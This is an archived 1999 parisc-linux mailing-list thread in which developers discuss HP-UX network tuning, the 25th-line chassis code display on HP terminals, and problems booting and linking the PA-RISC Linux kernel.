Original-Received: from b0fh.sweden.hp.com (b0fh.sweden.hp.com [15.164.6.26])
	by berserk.sweden.hp.com (8.8.8/8.8.8) with ESMTP id QAA26798;
	Thu, 10 Jun 1999 16:47:15 +0200 (METDST)
Original-Received: from namdyncph114.dnk.hp.com (namdyncph114.dnk.hp.com [15.126.97.114])
	by b0fh.sweden.hp.com (8.9.1a/8.9.1) with ESMTP id QAA21990;
	Thu, 10 Jun 1999 16:47:13 +0200 (METDST)
X-Sender: frso@rasande
In-Reply-To: <E10rq7u-0000km-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:9494

On Wed, 9 Jun 1999, Alan Cox wrote:

> I can't however get HP/UX to set up an interface 
> 
> 	194.168.151.23 netmask 255.255.255.224

You'll need to tell it to allow for subnet zero (RFC1878)

on pre 11.x:

# nettune -s ip_check_subnet_addr 0

on 11.x:

# ndd -set /dev/ip ip_check_subnet_addr 0

--
Fredrik Soderblom, Sr Technical Consultant
Phone: (int) +46-8-4442140, Fax: (int) +46-8-4442447
Internet: fredrik.soderblom@hp.se, URL: http://people.hp.se/frso
Hewlett-Packard Sverige AB, Box 19, S-164 93 Kista, Sweden
PGPprint: AE 74 BF 05 24 C3 18 99  33 9D A6 18 96 03 8A 29


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 8:26:45 PDT
Lines: 34
Approved: news@gmane.org
Message-ID: <199906101526.IAA04509@chrome.rose.hp.com>
References: <375F6778.7E2F1385@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619626 11926 80.91.229.3 (22 Nov 2014 01:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: kirkb@chrome.rose.hp.com  Thu Jun 10 09:25:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA29077
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 09:25:57 -0600
Original-Received: (qmail 11853 invoked by uid 15267); 10 Jun 1999 15:25:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11842 invoked from network); 10 Jun 1999 15:25:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 15:25:25 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA01262;
	Thu, 10 Jun 1999 08:25:49 -0700 (PDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id IAA04509; Thu, 10 Jun 1999 08:26:45 -0700 (PDT)
In-Reply-To: <375F6778.7E2F1385@thepuffingroup.com>; from "Alex deVries" at Jun 10, 99 3:21 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9495

| 
| No, we don't have remote manatement cards, but it sounds like they'd be
| very useful for this kind of thing.  I know the LCD panels on the D270
| displays these, is this a similiar device?
| 

Yes, the LCD panel and the display on the 25th line of the HPTERM both
display the chassis codes sent by the PDC_CHASSIS call. The remote
management card, however, has the benefits of saving a history of the
chassis codes, as well as providing the remote reset/TOC functions. 

| > cards over a dedicated hardware interface, and so inserting them into
| > your code gives a very low level way to display debug data.
| 
| Putting the error on the 25th line is a really good idea, but I can't
| see the 25th line because of the terminal control buttons ("Line
| Modify", "Modify All", etc).  I can't seem to get rid of them either.
| What's the trick?

For the X11 hpterm client on an HP-style keyboard, hitting the Menu key
will cause the softkey labels to be toggled on/off.  On a PC-style
keyboard, the PrintScreen/SysRq key toggles the labels. If you have a
remote management card, then the chassis codes will automatically toggle
thte softkey labels off. 

KMB

--
+============================================================+
|       Kirk Bresniker    	(916) 785-5677		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 10:03:59 -0700 (PDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <199906101704.KAA33498@bart.allegro.com>
References: <375F6778.7E2F1385@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619626 11930 80.91.229.3 (22 Nov 2014 01:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:06 +0000 (UTC)
Cc: kirkb@chrome.rose.hp.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: sieler@bart.allegro.com  Thu Jun 10 11:04:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA29332
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 11:04:19 -0600
Original-Received: (qmail 32739 invoked by uid 15267); 10 Jun 1999 17:03:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32728 invoked from network); 10 Jun 1999 17:03:47 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 17:03:47 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id KAA33498;
	Thu, 10 Jun 1999 10:04:00 -0700
In-Reply-To: <375F6778.7E2F1385@thepuffingroup.com> from "Alex deVries" at Jun 10, 99 03:21:28 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9496

Re:

> > Chassis codes, see the PDC_CHASSIS call in your pdc32.pdf
> > documentation), are displayed on the 25th line of an HPTERM compatible
...
> Putting the error on the 25th line is a really good idea, but I can't
> see the 25th line because of the terminal control buttons ("Line
> Modify", "Modify All", etc).  I can't seem to get rid of them either.
> What's the trick?

On an 800 system console (i.e., a real HP terminal (or compatible/emulator)),
you'd press control-B and then you'd see the PDC status displayed on
line 25.  (you'll also get a command prompt)

To stop seeing it, enter "CO"<return>    (no quotes)

I've never tried it via the remote card mentioned earlier...I presume there's
a mechanism for doing the control-B signal...perhaps pressing control-B?
 
-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 10:08:29 -0700 (PDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <199906101708.KAA30716@bart.allegro.com>
References: <199906101526.IAA04509@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619626 11934 80.91.229.3 (22 Nov 2014 01:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:06 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: kirkb@chrome.rose.hp.com (Kirk Bresniker)
Original-X-From: sieler@bart.allegro.com  Thu Jun 10 11:08:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA29468
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 11:08:44 -0600
Original-Received: (qmail 1080 invoked by uid 15267); 10 Jun 1999 17:08:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1041 invoked from network); 10 Jun 1999 17:08:06 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 17:08:06 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id KAA30716;
	Thu, 10 Jun 1999 10:08:30 -0700
In-Reply-To: <199906101526.IAA04509@chrome.rose.hp.com> from "Kirk Bresniker" at Jun 10, 99 08:26:45 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9497

Re:

> | No, we don't have remote manatement cards, but it sounds like they'd be
...
> display the chassis codes sent by the PDC_CHASSIS call. The remote
> management card, however, has the benefits of saving a history of the
> chassis codes, as well as providing the remote reset/TOC functions. 

Do you have a part number for this card?
 
> For the X11 hpterm client on an HP-style keyboard, hitting the Menu key
> will cause the softkey labels to be toggled on/off.  On a PC-style
> keyboard, the PrintScreen/SysRq key toggles the labels. If you have a
> remote management card, then the chassis codes will automatically toggle
> thte softkey labels off. 

On some X-Windows servers on PCs, pressing F9 will toggle the "25th" line
display between not showing and showing the user function keys.
Pressing F11 will display the 25th line, showing the
device/modes function keys.  Pressing F12 will display the 25th line
showing the user function keys.   (At least, that's what Reflection X
is doing for me, connection to HP-UX 10.20 running CDE)

-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 11:32:44 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <199906101832.LAA30612@bart.allegro.com>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619626 11935 80.91.229.3 (22 Nov 2014 01:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:06 +0000 (UTC)
Cc: kirkb@chrome.rose.hp.com, adevries@thepuffingroup.com
To: parisc-linux@thepuffingroup.com
Original-X-From: sieler@bart.allegro.com  Thu Jun 10 12:33:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA29782
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 12:33:03 -0600
Original-Received: (qmail 18655 invoked by uid 15267); 10 Jun 1999 18:32:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18645 invoked from network); 10 Jun 1999 18:32:27 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 18:32:27 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id LAA30612;
	Thu, 10 Jun 1999 11:32:44 -0700
In-Reply-To: <no.id> from "sieler" at Jun 10, 99 10:08:29 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9498

Hi,

Re:

> On some X-Windows servers on PCs, pressing F9 will toggle the "25th" line
...

Oops...forgot that I'd customized my keyboard map.

My keyboard map, which tries to add the missing HP keys to a PC keyboard
(running Reflection X) is at:

http://www.allegro.com/sieler/custom.kmp.html

If you use a different X server on a PC (or Mac or Sun or whatever),
you might be interested in a couple of the keycodes that are less
common ... they're listed on the above page.

-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Richard J. Rauenzahn" <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 14:06:08 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <004901beb385$101fe2e0$6e7a0e0f@rr701542.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619627 11943 80.91.229.3 (22 Nov 2014 01:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:07 +0000 (UTC)
Cc: <adevries@thepuffingroup.com>, <parisc-linux@thepuffingroup.com>
To: "Stan Sieler" <sieler@allegro.com>,
        "Kirk Bresniker" <kirkb@chrome.rose.hp.com>
Original-X-From: rrauenza@cup.hp.com  Thu Jun 10 15:07:25 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA30070
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 15:07:24 -0600
Original-Received: (qmail 20691 invoked by uid 15267); 10 Jun 1999 21:05:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20674 invoked from network); 10 Jun 1999 21:05:47 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 21:05:47 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA29491;
	Thu, 10 Jun 1999 17:05:49 -0400 (EDT)
Original-Received: from rr701542 (rr701542.cup.hp.com [15.14.122.110]) by hairball.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA06987; Thu, 10 Jun 1999 14:06:10 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3155.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Xref: news.gmane.org gmane.linux.ports.parisc:9499



The "HP Remote Management (access port) interface card" is Product # A3342A

-----Original Message-----
From: Stan Sieler <sieler@allegro.com>
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Cc: adevries@thepuffingroup.com <adevries@thepuffingroup.com>;
parisc-linux@thepuffingroup.com <parisc-linux@thepuffingroup.com>
Date: Thursday, June 10, 1999 10:11 AM
Subject: Re: [parisc-linux] booting problems


>Re:
>
>> | No, we don't have remote manatement cards, but it sounds like they'd be
>...
>> display the chassis codes sent by the PDC_CHASSIS call. The remote
>> management card, however, has the benefits of saving a history of the
>> chassis codes, as well as providing the remote reset/TOC functions.
>
>Do you have a part number for this card?



From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 17:20:52 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <199906102120.RAA02172@hiauly1.hia.nrc.ca>
References: <375F482D.E1E0B53D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619627 11946 80.91.229.3 (22 Nov 2014 01:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Jun 10 15:21:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA30242
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 15:21:15 -0600
Original-Received: (qmail 24033 invoked by uid 15267); 10 Jun 1999 21:20:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24023 invoked from network); 10 Jun 1999 21:20:32 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 21:20:32 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA02172;
	Thu, 10 Jun 1999 17:20:52 -0400 (EDT)
In-Reply-To: <375F482D.E1E0B53D@thepuffingroup.com> from "Alex deVries" at Jun 10, 99 01:07:57 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9500

> And now it passes the LIF magic and checksum, and dies.  Here's a
> hand-typed copy of the console:
> 
> "
> Main Menu: Enter command > boot p2
> Interact with IPL (Y, N, or Cancel)?> n
> 
> Booting...
> Network Station Address 001039-037944
> System IP Address 192.168.1.56
> Server IP Address 192.168.1.52
> 
> Boot IO Dependant Code (IODC) revision 2
> 
> 
> SOFT Booted.
> "
> 
> And then absolutely nothing.  The cute little heart on the front panel

It is my guess that ipl has been incorrectly linked (i.e., the relocation
information for text and data are wrong for the LIF image).  Take a
look at the ld script hppaelf.sc in binutils.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 02:19:43 -0400
Organization: The Puffin Group
Lines: 7
Approved: news@gmane.org
Message-ID: <3760AA7F.9B62952E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619627 11948 80.91.229.3 (22 Nov 2014 01:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 00:12:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA30636
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 00:12:20 -0600
Original-Received: (qmail 24908 invoked by uid 15267); 11 Jun 1999 06:11:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24901 invoked from network); 11 Jun 1999 06:11:47 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 06:11:47 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA18474
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Jun 1999 02:19:48 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9501


Can anyone here describe how HPUX does partitioning?  We're going to
have to look at this at some point for interoperability with HPUX
filesystems.

- Alex


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a question about HPUX's linker
Date: Fri, 11 Jun 1999 03:10:50 -0400
Organization: The Puffin Group
Lines: 12
Approved: news@gmane.org
Message-ID: <3760B67A.8D9F3B1F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619628 11949 80.91.229.3 (22 Nov 2014 01:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 01:03:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA30969
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 01:03:28 -0600
Original-Received: (qmail 31552 invoked by uid 15267); 11 Jun 1999 07:02:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31544 invoked from network); 11 Jun 1999 07:02:54 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 07:02:54 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA18524
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Jun 1999 03:10:56 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9502


To help us get ahead, I'm trying to get the kernel to build properly
with HPUX, using HPUX's linker, and gcc.

Why does the final kernel link use --start-group ... --end-group?

What's the equivalent syntax for HPUX's ld?

I'm a bit short on docs in this area...

- Alex


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 03:36:18 -0400
Organization: The Puffin Group
Lines: 26
Approved: news@gmane.org
Message-ID: <3760BC72.B193B201@thepuffingroup.com>
References: <375F482D.E1E0B53D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619628 11951 80.91.229.3 (22 Nov 2014 01:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 01:28:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA31147
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 01:28:52 -0600
Original-Received: (qmail 1853 invoked by uid 15267); 11 Jun 1999 07:28:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1845 invoked from network); 11 Jun 1999 07:28:18 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 07:28:18 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA18551
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Jun 1999 03:36:20 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9503

Alex deVries wrote:
> 
> Looks like we just need to compare a large chunk of the bootable binary
> to figure out what's happening.
> 

For kicks, I tried building the boot structure as it exists in the
kernel, and the kernel itself on HPUX.  I was thinking that maybe there
was a byte order probelm in the boot image generation tools.  I get
pretty much the same thing though, the parisc box just dies without even
entering the IPL code.

It's time to start digging deeper.  If someone else wants look over the
boot code in the kernel, it'd be appreciated.  I'm sure it's a simple
mistake.

The gist of it is this:

- Jason's existing prebuilt bootstrap binary does work
- my copy of his code with some build scripts used to generate a
bootstrap does not



- Alex


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a question about HPUX's linker
Date: Fri, 11 Jun 1999 09:39:46 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19990611093946.P31472@mencheca.ch.genedata.com>
References: <3760B67A.8D9F3B1F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619628 11954 80.91.229.3 (22 Nov 2014 01:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: Matthew.Wilcox@genedata.com  Fri Jun 11 01:39:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA31329
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 01:39:50 -0600
Original-Received: (qmail 2868 invoked by uid 15267); 11 Jun 1999 07:39:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2858 invoked from network); 11 Jun 1999 07:39:16 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 07:39:16 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id JAA32685;
	Fri, 11 Jun 1999 09:39:47 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id JAA1358646;
	Fri, 11 Jun 1999 09:39:46 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10sLuk-00025gC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for adevries@thepuffingroup.com; Fri, 11 Jun 1999 09:39:46 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <3760B67A.8D9F3B1F@thepuffingroup.com>; from Alex deVries on Fri, Jun 11, 1999 at 03:10:50AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9504

On Fri, Jun 11, 1999 at 03:10:50AM -0400, Alex deVries wrote:
> 
> To help us get ahead, I'm trying to get the kernel to build properly
> with HPUX, using HPUX's linker, and gcc.
> 
> Why does the final kernel link use --start-group ... --end-group?
> 
> What's the equivalent syntax for HPUX's ld?
> 
> I'm a bit short on docs in this area...

This is something which happened towards the later days of 2.1
development.  It causes GNU ld to scan through the archives indicated
between --start-group and --end-group until no more symbols are resolved.
It is a GNU extension.  I think _in general_ it's not necessary, but
there are a few corner cases where this is needed.  Try taking it out,
tell us what errors you get.

Of course, this is all due to Linux's lame build scripts and they should
be replaced with something better.  which I don't have time to work on, of
course :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 04:57:36 -0400
Organization: The Puffin Group
Lines: 38
Approved: news@gmane.org
Message-ID: <3760CF80.887DA4C3@thepuffingroup.com>
References: <375F482D.E1E0B53D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
